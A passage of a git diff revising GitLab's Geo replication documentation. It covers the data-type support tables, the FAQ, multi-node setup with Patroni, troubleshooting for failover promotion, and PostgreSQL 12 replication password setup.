|[CI job artifacts (other than Job Logs)](../../../ci/pipelines/job_artifacts.md) | **Yes** (10.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/8923) | Via Object Storage provider if supported. Native Geo support (Beta). | Verified only manually using [Integrity Check Rake Task](../../raketasks/check.md) on both sites and comparing the output between them. |
@@ -189,49 +189,25 @@ successfully, you must replicate their data using some other means.
|[Object pools for forked project deduplication](../../../development/git_object_deduplication.md) | **Yes** | No | No | |
|[Container Registry](../../packages/container_registry.md) | **Yes** (12.3) | No | No | Disabled by default. See [instructions](docker_registry.md) to enable. |
|[Content in object storage (beta)](object_storage.md) | **Yes** (12.4) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/13845) | No | |
-|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | Via Object Storage provider if supported. Native Geo support (Beta). | |
-|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | **Yes** (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
-|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_terraform_state_version_replication`, enabled by default. |
-|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_merge_request_diff_replication`, enabled by default. |
+|[Project designs repository](../../../user/project/issues/design_management.md) | **Yes** (12.7) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/32467) | No | Designs also require replication of LFS objects and Uploads. |
+|[Package Registry for npm](../../../user/packages/npm_registry/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Maven](../../../user/packages/maven_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Conan](../../../user/packages/conan_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for NuGet](../../../user/packages/nuget_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for PyPI](../../../user/packages/pypi_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for Composer](../../../user/packages/composer_repository/index.md) | **Yes** (13.2) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Package Registry for generic packages](../../../user/packages/generic_packages/index.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.10) | Via Object Storage provider if supported. Native Geo support (Beta). | Behind feature flag `geo_package_file_replication`, enabled by default. |
+|[Versioned Terraform State](../../terraform_state.md) | **Yes** (13.5) | [**Yes**](#limitation-of-verification-for-files-in-object-storage) (13.12) | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_terraform_state_version_replication`, enabled by default. Verification was behind the feature flag `geo_terraform_state_version_verification`, which was removed in 14.0|
+|[External merge request diffs](../../merge_request_diffs.md) | **Yes** (13.5) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Replication is behind the feature flag `geo_merge_request_diff_replication`, enabled by default. Verification is under development, behind the feature flag `geo_merge_request_diff_verification`, introduced in 14.0.|
|[Versioned snippets](../../../user/snippets.md#versioned-snippets) | [**Yes** (13.7)](https://gitlab.com/groups/gitlab-org/-/epics/2809) | [No](https://gitlab.com/groups/gitlab-org/-/epics/2810) | No | |
|[Server-side Git hooks](../../server_hooks.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/1867) | No | No | |
|[Elasticsearch integration](../../../integration/elasticsearch.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/1186) | No | No | |
-|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | No | |
+|[GitLab Pages](../../pages/index.md) | [No](https://gitlab.com/groups/gitlab-org/-/epics/589) | No | Via Object Storage provider if supported. **No** native Geo support (Beta). | |
|[Dependency proxy images](../../../user/packages/dependency_proxy/index.md) | [No](https://gitlab.com/gitlab-org/gitlab/-/issues/259694) | No | No | Blocked on [Geo: Secondary Mimicry](https://gitlab.com/groups/gitlab-org/-/epics/1528). Note that replication of this cache is not needed for Disaster Recovery purposes because it can be recreated from external sources. |
-|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | Via Object Storage provider if supported. Native Geo support (Beta). | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. |
+|[Vulnerability Export](../../../user/application_security/vulnerability_report/#export-vulnerability-details) | [Not planned](https://gitlab.com/groups/gitlab-org/-/epics/3111) | No | | Not planned because they are ephemeral and sensitive. They can be regenerated on demand. |
-#### LFS object replication using the self service framework
+#### Limitation of verification for files in Object Storage
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276696) in GitLab 13.12.
-> - [Deployed behind a feature flag](../../../user/feature_flags.md), enabled by default.
-> - Not enabled on GitLab.com as Geo is not enabled.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-object-replication-using-the-self-service-framework).
+GitLab managed Object Storage replication support [is in beta](object_storage.md#enabling-gitlab-managed-object-storage-replication).
-There can be [risks when disabling released features](../../../user/feature_flags.md#risks-when-disabling-released-features).
-Refer to this feature's version history for more details.
-
-##### Enable or disable LFS object replication using the self service framework
-
-LFS object replication using the self service framework is under development but ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can opt to disable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:geo_lfs_object_replication)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:geo_lfs_object_replication)
-```
+Locally stored files are verified but remote stored files are not.
diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md
index a83a1c22db6..ef41b2ff172 100644
--- a/doc/administration/geo/replication/faq.md
+++ b/doc/administration/geo/replication/faq.md
@@ -17,13 +17,13 @@ On each **secondary** site, there is a read-only replicated copy of the GitLab d
A **secondary** site also has a tracking database where it stores which projects have been synced.
Geo compares the two databases to find projects that are not yet tracked.
-At the start, this tracking database is empty, so Geo will start trying to update from every project that it can see in the GitLab database.
+At the start, this tracking database is empty, so Geo tries to update from every project that it can see in the GitLab database.
For each project to sync:
-1. Geo will issue a `git fetch geo --mirror` to get the latest information from the **primary** site.
- If there are no changes, the sync will be fast and end quickly. Otherwise, it will pull the latest commits.
-1. The **secondary** site will update the tracking database to store the fact that it has synced projects A, B, C, etc.
+1. Geo issues a `git fetch geo --mirror` to get the latest information from the **primary** site.
+ If there are no changes, the sync is fast. Otherwise, it has to pull the latest commits.
+1. The **secondary** site updates the tracking database to store the fact that it has synced projects A, B, C, etc.
1. Repeat until all projects are synced.
When someone pushes a commit to the **primary** site, it generates an event in the GitLab database that the repository has changed.
@@ -70,4 +70,4 @@ Yes. See [Docker Registry for a **secondary** site](docker_registry.md).
## Can I login to a secondary site?
-Yes, but secondary sites receive all authentication data (like user accounts and logins) from the primary instance. This means you will be re-directed to the primary for authentication and routed back afterwards.
+Yes, but secondary sites receive all authentication data (like user accounts and logins) from the primary instance. This means you are re-directed to the primary for authentication and then routed back.
diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md
index 8f67e70c9e2..c6b1078ddf0 100644
--- a/doc/administration/geo/replication/geo_validation_tests.md
+++ b/doc/administration/geo/replication/geo_validation_tests.md
@@ -43,7 +43,7 @@ The following are GitLab upgrade validation tests we performed.
- Outcome: Partial success because we observed downtime during the upgrade of the primary and secondary sites.
- Follow up issues/actions:
- [Fix zero-downtime upgrade process/instructions for multi-node Geo deployments](https://gitlab.com/gitlab-org/gitlab/-/issues/225684)
- - [Geo:check Rake task: Exclude AuthorizedKeysCommand check if node not running Puma/Unicorn](https://gitlab.com/gitlab-org/gitlab/-/issues/225454)
+ - [Geo:check Rake task: Exclude AuthorizedKeysCommand check if node not running Puma](https://gitlab.com/gitlab-org/gitlab/-/issues/225454)
- [Update instructions in the next upgrade issue to include monitoring HAProxy dashboards](https://gitlab.com/gitlab-org/gitlab/-/issues/225359)
[Upgrade Geo multi-node installation](https://gitlab.com/gitlab-org/gitlab/-/issues/208104):
@@ -53,7 +53,7 @@ The following are GitLab upgrade validation tests we performed.
- Outcome: Partial success because we did not run the looping pipeline during the demo to validate
zero-downtime.
- Follow up issues:
- - [Clarify how Puma/Unicorn should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460)
+ - [Clarify how Puma should include deploy node](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5460)
- [Investigate MR creation failure after upgrade to 12.9.10](https://gitlab.com/gitlab-org/gitlab/-/issues/223282) Closed as false positive.
### February 2020
diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md
index 59bb3884a02..ea2488b65fb 100644
--- a/doc/administration/geo/replication/multiple_servers.md
+++ b/doc/administration/geo/replication/multiple_servers.md
@@ -17,9 +17,9 @@ described, it is possible to adapt these instructions to your needs.
_[diagram source - GitLab employees only](https://docs.google.com/drawings/d/1z0VlizKiLNXVVVaERFwgsIOuEgjcUqDTWPdQYsE7Z4c/edit)_
-The topology above assumes that the **primary** and **secondary** Geo clusters
+The topology above assumes the **primary** and **secondary** Geo clusters
are located in two separate locations, on their own virtual network
-with private IP addresses. The network is configured such that all machines within
+with private IP addresses. The network is configured such that all machines in
one geographic location can communicate with each other using their private IP addresses.
The IP addresses given are examples and may be different depending on the
network topology of your deployment.
@@ -44,9 +44,10 @@ Support for PostgreSQL on **secondary** nodes in multi-node configuration
Because of the additional complexity involved in setting up this configuration
for PostgreSQL and Redis, it is not covered by this Geo multi-node documentation.
-For more information about setting up a multi-node PostgreSQL cluster and Redis cluster using the omnibus package see the multi-node documentation for
-[PostgreSQL](../../postgresql/replication_and_failover.md) and
-[Redis](../../redis/replication_and_failover.md), respectively.
+For more information on setting up a multi-node PostgreSQL cluster and Redis cluster using the Omnibus GitLab package, see:
+
+- [PostgreSQL multi-node documentation](../../postgresql/replication_and_failover.md)
+- [Redis multi-node documentation](../../redis/replication_and_failover.md)
NOTE:
It is possible to use cloud hosted services for PostgreSQL and Redis, but this is beyond the scope of this document.
@@ -60,8 +61,8 @@ you already have a working GitLab instance that is in-use, it can be used as a
The second cluster serves as the **secondary** node. Again, use the
[GitLab multi-node documentation](../../reference_architectures/index.md) to set this up.
-It's a good idea to log in and test it, however, note that its data is
-wiped out as part of the process of replicating from the **primary**.
+It's a good idea to log in and test it. However, be aware that its data is
+wiped out as part of the process of replicating from the **primary** node.
## Configure the GitLab cluster to be the **primary** node
@@ -92,9 +93,9 @@ After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus
NOTE:
PostgreSQL and Redis should have already been disabled on the
-application servers, and connections from the application servers to those
-services on the backend servers configured, during normal GitLab multi-node set up. See
-multi-node configuration documentation for
+application servers during normal GitLab multi-node setup. Connections
+from the application servers to services on the backend servers should
+have also been configured. See multi-node configuration documentation for
[PostgreSQL](../../postgresql/replication_and_failover.md#configuring-the-application-nodes)
and [Redis](../../redis/replication_and_failover.md#example-configuration-for-the-gitlab-application).
@@ -120,12 +121,12 @@ major differences:
called the "tracking database", which tracks the synchronization state of
various resources.
-Therefore, we set up the multi-node components one-by-one, and include deviations
-from the normal multi-node setup. However, we highly recommend first configuring a
-brand-new cluster as if it were not part of a Geo setup so that it can be
-tested and verified as a working cluster. And only then should it be modified
-for use as a Geo **secondary**. This helps to separate problems that are related
-and are not related to Geo setup.
+Therefore, we set up the multi-node components one by one and include deviations
+from the normal multi-node setup. However, we highly recommend configuring a
+brand-new cluster first, as if it were not part of a Geo setup. This allows
+verifying that it is a working cluster. And only then should it be modified
+for use as a Geo **secondary**. This helps to separate Geo setup problems from
+unrelated problems.
### Step 1: Configure the Redis and Gitaly services on the **secondary** node
@@ -218,11 +219,10 @@ the **primary** database. Use the following as a guide.
prometheus['enable'] = false
redis['enable'] = false
redis_exporter['enable'] = false
- repmgr['enable'] = false
+ patroni['enable'] = false
sidekiq['enable'] = false
sidekiq_cluster['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
```
After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
@@ -290,11 +290,10 @@ Configure the tracking database.
prometheus['enable'] = false
redis['enable'] = false
redis_exporter['enable'] = false
- repmgr['enable'] = false
+ patroni['enable'] = false
sidekiq['enable'] = false
sidekiq_cluster['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
```
After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
@@ -366,10 +365,10 @@ then make the following modifications:
```
NOTE:
-If you had set up PostgreSQL cluster using the omnibus package and you had set
-up `postgresql['sql_user_password'] = 'md5 digest of secret'` setting, keep in
+If you had set up PostgreSQL cluster using the omnibus package and had set
+`postgresql['sql_user_password'] = 'md5 digest of secret'`, keep in
mind that `gitlab_rails['db_password']` and `geo_secondary['db_password']`
-mentioned above contains the plaintext passwords. This is used to let the Rails
+contains the plaintext passwords. This is used to let the Rails
servers connect to the databases.
NOTE:
@@ -438,9 +437,8 @@ application servers above, with some changes to run only the `sidekiq` service:
prometheus['enable'] = false
redis['enable'] = false
redis_exporter['enable'] = false
- repmgr['enable'] = false
+ patroni['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
##
## The unique identifier for the Geo node.
diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md
index 697d8c6ae38..b72cd3cbb95 100644
--- a/doc/administration/geo/replication/remove_geo_node.md
+++ b/doc/administration/geo/replication/remove_geo_node.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../geo/replication/remove_geo_site.md'
+remove_date: '2021-06-01'
---
This document was moved to [another location](../../geo/replication/remove_geo_site.md).
diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md
index f84d7a2171d..ae41599311b 100644
--- a/doc/administration/geo/replication/security_review.md
+++ b/doc/administration/geo/replication/security_review.md
@@ -184,7 +184,7 @@ from [owasp.org](https://owasp.org/).
### What databases and application servers support the application?
-- PostgreSQL >= 11, Redis, Sidekiq, Puma.
+- PostgreSQL >= 12, Redis, Sidekiq, Puma.
### How will database connection strings, encryption keys, and other sensitive components be stored, accessed, and protected from unauthorized detection?
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index 6d990fd12ba..1fd923dbaf1 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -583,64 +583,6 @@ to start again from scratch, there are a few steps that can help you:
gitlab-ctl start
```
-## Fixing errors during a PostgreSQL upgrade or downgrade
-
-### Message: `ERROR: psql: FATAL: role "gitlab-consul" does not exist`
-
-When
-[upgrading PostgreSQL on a Geo instance](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance), you might encounter the
-following error:
-
-```plaintext
-$ sudo gitlab-ctl pg-upgrade --target-version=11
-Checking for an omnibus managed postgresql: OK
-Checking if postgresql['version'] is set: OK
-Checking if we already upgraded: NOT OK
-Checking for a newer version of PostgreSQL to install
-Upgrading PostgreSQL to 11.7
-Checking if PostgreSQL bin files are symlinked to the expected location: OK
-Waiting 30 seconds to ensure tasks complete before PostgreSQL upgrade.
-See https://docs.gitlab.com/omnibus/settings/database.html#upgrade-packaged-postgresql-server for details
-If you do not want to upgrade the PostgreSQL server at this time, enter Ctrl-C and see the documentation for details
-
-Please hit Ctrl-C now if you want to cancel the operation.
-..............................Detected an HA cluster.
-Error running command: /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul
-ERROR: psql: FATAL: role "gitlab-consul" does not exist
-Traceback (most recent call last):
- 10: from /opt/gitlab/embedded/bin/omnibus-ctl:23:in `<main>'
- 9: from /opt/gitlab/embedded/bin/omnibus-ctl:23:in `load'
- 8: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/bin/omnibus-ctl:31:in `<top (required)>'
- 7: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/lib/omnibus-ctl.rb:746:in `run'
- 6: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/omnibus-ctl-0.6.0/lib/omnibus-ctl.rb:204:in `block in add_command_under_category'
- 5: from /opt/gitlab/embedded/service/omnibus-ctl/pg-upgrade.rb:171:in `block in load_file'
- 4: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:248:in `is_master?'
- 3: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:100:in `execute_psql'
- 2: from /opt/gitlab/embedded/service/omnibus-ctl-ee/lib/repmgr.rb:113:in `cmd'
- 1: from /opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/mixlib-shellout-3.0.9/lib/mixlib/shellout.rb:287:in `error!'
-/opt/gitlab/embedded/lib/ruby/gems/2.6.0/gems/mixlib-shellout-3.0.9/lib/mixlib/shellout.rb:300:in `invalid!': Expected process to exit with [0], but received '2' (Mixlib::ShellOut::ShellCommandFailed)
----- Begin output of /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul ----
-STDOUT:
-STDERR: psql: FATAL: role "gitlab-consul" does not exist
----- End output of /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul ----
-Ran /opt/gitlab/embedded/bin/psql -qt -d gitlab_repmgr -h /var/opt/gitlab/postgresql -p 5432 -c "SELECT name FROM repmgr_gitlab_cluster.repl_nodes WHERE type='master' AND active != 'f'" -U gitlab-consul returned 2
-```
-
-If you are upgrading the PostgreSQL read-replica of a Geo secondary node, and
-you are not using `consul` or `repmgr`, you may need to disable `consul` and/or
-`repmgr` services in `gitlab.rb`:
-
-```ruby
-consul['enable'] = false
-repmgr['enable'] = false
-```
-
-Then reconfigure GitLab:
-
-```shell
-sudo gitlab-ctl reconfigure
-```
-
## Fixing errors during a failover or when promoting a secondary to a primary node
The following are possible errors that might be encountered during failover or
@@ -756,6 +698,30 @@ this command reports `ERROR - Replication is not up-to-date` even if
replication is actually up-to-date. If replication and verification output
shows that it is complete, you can add `--skip-preflight-checks` to make the command complete promotion. This bug was fixed in GitLab 13.8 and later.
+### Errors when using `--skip-preflight-checks` or `--force`
+
+Before GitLab 13.5, you could bump into one of the following errors when using
+`--skip-preflight-checks` or `--force`:
+
+```plaintext
+get_ctl_options': invalid option: --skip-preflight-checks (OptionParser::InvalidOption)
+
+get_ctl_options': invalid option: --force (OptionParser::InvalidOption)
+```
+
+This can happen with XFS or filesystems that list files in lexical order, because the
+load order of the Omnibus command files can be different than expected, and a global function would get redefined.
+More details can be found in [the related issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6076).
+
+The workaround is to manually run the preflight checks and promote the database, by running
+the following commands on the Geo secondary site:
+
+```shell
+sudo gitlab-ctl promotion-preflight-checks
+sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote
+sudo gitlab-ctl reconfigure
+sudo gitlab-rake geo:set_secondary_as_primary
+
## Expired artifacts
If you notice for some reason there are more artifacts on the Geo
@@ -854,6 +820,11 @@ To resolve this issue:
the **primary** node using IPv4 in the `/etc/hosts` file. Alternatively, you should
[enable IPv6 on the **primary** node](https://docs.gitlab.com/omnibus/settings/nginx.html#setting-the-nginx-listen-address-or-addresses).
+### Geo Admin Area shows 'Unknown' for health status and 'Request failed with status code 401'
+
+If using a load balancer, ensure that the load balancer's URL is set as the `external_url` in the
+`/etc/gitlab/gitlab.rb` of the nodes behind the load balancer.
+
### GitLab Pages return 404 errors after promoting
This is due to [Pages data not being managed by Geo](datatypes.md#limitations-on-replicationverification).
diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md
index f8ce72ac3f8..04c30514a89 100644
--- a/doc/administration/geo/replication/using_a_geo_server.md
+++ b/doc/administration/geo/replication/using_a_geo_server.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../geo/replication/usage.md'
+remove_date: '2022-06-01'
---
This document was moved to [another location](../../geo/replication/usage.md).
diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md
index 4a101c52325..301be931b29 100644
--- a/doc/administration/geo/replication/version_specific_updates.md
+++ b/doc/administration/geo/replication/version_specific_updates.md
@@ -11,6 +11,10 @@ Review this page for update instructions for your version. These steps
accompany the [general steps](updating_the_geo_nodes.md#general-update-steps)
for updating Geo nodes.
+## Updating to GitLab 13.11
+
+We found an [issue with Git clone/pull through HTTP(s)](https://gitlab.com/gitlab-org/gitlab/-/issues/330787) on Geo secondaries and on any GitLab instance if maintenance mode is enabled. This was caused by a regression in GitLab Workhorse. This is fixed in the [GitLab 13.11.4 patch release](https://about.gitlab.com/releases/2021/05/14/gitlab-13-11-4-released/). To avoid this issue, upgrade to GitLab 13.11.4 or later.
+
## Updating to GitLab 13.9
We've detected an issue [with a column rename](https://gitlab.com/gitlab-org/gitlab/-/issues/324160)
@@ -78,6 +82,12 @@ paused fails. Do not pause replication before promoting a secondary. If the
node is paused, be sure to resume before promoting. To avoid this issue,
upgrade to GitLab 13.4 or later.
+WARNING:
+Promoting the database during a failover can fail on XFS and filesystems ordering files lexically,
+when using `--force` or `--skip-preflight-checks`, due to [an issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6076) fixed in 13.5.
+The [troubleshooting steps](troubleshooting.md#errors-when-using---skip-preflight-checks-or---force)
+contain a workaround if you run into errors during the failover.
+
## Updating to GitLab 13.2
In GitLab 13.2, promoting a secondary node to a primary while the secondary is
diff --git a/doc/administration/geo/setup/database.md b/doc/administration/geo/setup/database.md
index b87a606e349..f6e72092a5f 100644
--- a/doc/administration/geo/setup/database.md
+++ b/doc/administration/geo/setup/database.md
@@ -9,7 +9,7 @@ type: howto
NOTE:
If your GitLab installation uses external (not managed by Omnibus) PostgreSQL
-instances, the Omnibus roles will not be able to perform all necessary
+instances, the Omnibus roles are unable to perform all necessary
configuration steps. In this case,
[follow the Geo with external PostgreSQL instances document instead](external_database.md).
@@ -25,10 +25,23 @@ size.
You are encouraged to first read through all the steps before executing them
in your testing/production environment.
-## PostgreSQL replication
+## Single instance database replication
-The GitLab **primary** node where the write operations happen will connect to
-the **primary** database server, and **secondary** nodes will
+A single instance database replication is easier to set up and still provides the same Geo capabilities
+as a clusterized alternative. It's useful for setups running on a single machine
+or trying to evaluate Geo for a future clusterized installation.
+
+A single instance can be expanded to a clusterized version using Patroni, which is recommended for a
+highly available architecture.
+
+Follow below the instructions on how to set up PostgreSQL replication as a single instance database.
+Alternatively, you can look at the [Multi-node database replication](#multi-node-database-replication)
+instructions on setting up replication with a Patroni cluster.
+
+### PostgreSQL replication
+
+The GitLab **primary** node where the write operations happen connects to
+the **primary** database server, and **secondary** nodes
connect to their own database servers (which are also read-only).
We recommend using [PostgreSQL replication slots](https://medium.com/@tk512/replication-slots-in-postgresql-b4b03d277c75)
@@ -37,8 +50,8 @@ recover. See below for more details.
The following guide assumes that:
-- You are using Omnibus and therefore you are using PostgreSQL 11 or later
- which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/11/app-pgbasebackup.html).
+- You are using Omnibus and therefore you are using PostgreSQL 12 or later
+ which includes the [`pg_basebackup` tool](https://www.postgresql.org/docs/12/app-pgbasebackup.html).
- You have a **primary** node already set up (the GitLab server you are
replicating from), running Omnibus' PostgreSQL (or equivalent version), and
you have a new **secondary** server set up with the same versions of the OS,
@@ -48,7 +61,7 @@ WARNING:
Geo works with streaming replication. Logical replication is not supported at this time.
There is an [issue where support is being discussed](https://gitlab.com/gitlab-org/gitlab/-/issues/7420).
-### Step 1. Configure the **primary** server
+#### Step 1. Configure the **primary** server
1. SSH into your GitLab **primary** server and login as root:
@@ -75,13 +88,9 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
gitlab-ctl set-geo-primary-node
```
- This command will use your defined `external_url` in `/etc/gitlab/gitlab.rb`.
-
-1. GitLab 10.4 and up only: Do the following to make sure the `gitlab` database user has a password defined:
+ This command uses your defined `external_url` in `/etc/gitlab/gitlab.rb`.
- NOTE:
- Until FDW settings are removed in GitLab version 14.0, avoid using single or double quotes in the
- password for PostgreSQL as that will lead to errors when reconfiguring.
+1. Define a password for the `gitlab` database user:
Generate a MD5 hash of the desired password:
@@ -103,18 +112,28 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
# must be present in all application nodes.
gitlab_rails['db_password'] = '<your_password_here>'
```
+
+1. Define a password for the database [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication).
-1. Omnibus GitLab already has a [replication user](https://wiki.postgresql.org/wiki/Streaming_Replication)
- called `gitlab_replicator`. You must set the password for this user manually.
- You will be prompted to enter a password:
+ We will use the username defined in `/etc/gitlab/gitlab.rb` under the `postgresql['sql_replication_user']`
+ setting. The default value is `gitlab_replicator`, but if you changed it to something else, adapt
+ the instructions below.
+
+ Generate a MD5 hash of the desired password:
```shell
- gitlab-ctl set-replication-password
+ gitlab-ctl pg-password-md5 gitlab_replicator
+ # Enter password: <your_password_here>
+ # Confirm password: <your_password_here>
+ # 950233c0dfc2f39c64cf30457c3b7f1e
```
- This command will also read the `postgresql['sql_replication_user']` Omnibus
- setting in case you have changed `gitlab_replicator` username to something
- else.
+ Edit `/etc/gitlab/gitlab.rb`:
+
+ ```ruby
+ # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab_replicator`
+ postgresql['sql_replication_password'] = '<md5_hash_of_your_password>'
+ ```
If you are using an external database not managed by Omnibus GitLab, you need
to create the replicator user and define a password to it manually:
@@ -154,7 +173,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
echo "External address: $(curl --silent "ipinfo.io/ip")"
```
- In most cases, the following addresses will be used to configure GitLab
+ In most cases, the following addresses are used to configure GitLab
Geo:
| Configuration | Address |
@@ -168,11 +187,11 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
`postgresql['md5_auth_cidr_addresses']` and `postgresql['listen_address']`.
The `listen_address` option opens PostgreSQL up to network connections with the interface
- corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/11/runtime-config-connection.html)
+ corresponding to the given address. See [the PostgreSQL documentation](https://www.postgresql.org/docs/12/runtime-config-connection.html)
for more details.
NOTE:
- If you need to use `0.0.0.0` or `*` as the listen_address, you will also need to add
+ If you need to use `0.0.0.0` or `*` as the listen_address, you also need to add
`127.0.0.1/32` to the `postgresql['md5_auth_cidr_addresses']` setting, to allow Rails to connect through
`127.0.0.1`. For more information, see [omnibus-5258](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5258).
@@ -190,7 +209,7 @@ There is an [issue where support is being discussed](https://gitlab.com/gitlab-o
## Geo Primary role
## - configure dependent flags automatically to enable Geo
##
- roles ['geo_primary_role']
